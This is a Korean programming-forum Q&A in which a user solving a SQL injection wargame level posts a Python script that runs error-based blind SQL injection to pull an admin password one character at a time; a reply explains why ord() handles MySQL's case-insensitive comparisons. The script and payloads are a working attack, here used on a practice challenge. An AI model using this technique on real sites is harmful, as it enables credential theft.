sql 인젝션 질문이 있습니다.

매출이 오르면 내리는 수수료! 지금 수수료센터에서 전자결제(PG)수수료 비교견적 신청해 보세요!
sql 인젝션 질문이 있습니다.

QA

sql 인젝션 질문이 있습니다.

본문

여기에 sql 문제를 질문드려도 될지 모르겠지만 물어볼때가 없어서요

lord of sqlinjection 21문제를 풀고 있습니다.(https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php)

 

풀려고 코딩을 짰는데 갑자기 드는 의문점이 있습니다.


import requests
import string

 
url = "https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php"
cookie = dict(PHPSESSID="쿠키값")
 
asc = string.digits+string.ascii_letters
print(asc)
result=""
 
for i in range(1,33):
    for j in asc:
        param = "?pw='or id='admin' and if(right(left(pw,"+str(i)+"),1)="+str(j)+",(select 1 union select 2),1)%23"
        #param = "?pw='or id='admin' and if(ord(substr(pw,"+str(i)+",1))="+str(ord(j))+",(select 1 union select 2), 1)%23"
        print(param)
        res_url = url+param
        response = requests.get(res_url, cookies=cookie)
 
        if response.text.find("Subquery")>=0:
            print(str(i)+"번째 패스워드 :"+j)
            result+=j
            break
print("pw :"+result)
 

 

 

 

 

문제의 정해진 패스워드 값이 문자일거고, 코드에서 임의로 걸러내기 위한 값도 문자인데 왜 아스키코드로 굳이 변경을 해서 하는걸까요? 위에 문제로 아스키로 안바꾸고 문자대로 비교하니까 숫자는 파싱이 되는데 문자는 파싱이 안되네요? 

 

 

이 질문에 댓글 쓰기 :

답변 1

제 개인적인 생각입니다.

 

mysql 의 varchar 필드나 if 함수 같은 것들은 대소문자를 구분하지 않습니다.

예를 들어 mysql 에서


select if('a'='A', 'true', 'false');

이런 쿼리를 실행하면 true 가 출력 됩니다.

위 문제에서 문자 비교 대상이 0-9a-zA-Z 이기 때문에

비밀번호 추출 시 정확하게 대소문자를 구분하여 추출 하려는 목적인 듯 합니다.

 

디비 pw 값이 AAAAA 인 상태에서 ord 를 없이 실행 할 경우 결과 값이 aaaaa 로 출력 될 확율이 높습니다.

답변을 작성하시기 전에 로그인 해주세요.
전체 16,865
QA 내용 검색
  • 개별 목록 구성 제목 답변작성자조회작성일
  • 질문이 없습니다.

회원로그인

(주)에스아이알소프트 / 대표:홍석명 / (06211) 서울특별시 강남구 역삼동 707-34 한신인터밸리24 서관 1404호 / E-Mail: admin@sir.kr
사업자등록번호: 217-81-36347 / 통신판매업신고번호:2014-서울강남-02098호 / 개인정보보호책임자:김민섭(minsup@sir.kr)
© SIRSOFT